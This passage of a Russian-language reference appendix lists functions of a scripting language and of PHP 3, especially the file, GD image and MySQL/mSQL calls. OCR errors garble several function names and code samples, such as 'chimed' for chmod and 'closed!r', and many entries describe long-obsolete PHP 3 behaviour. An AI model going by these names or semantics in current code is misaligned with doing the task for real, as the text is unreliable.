    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

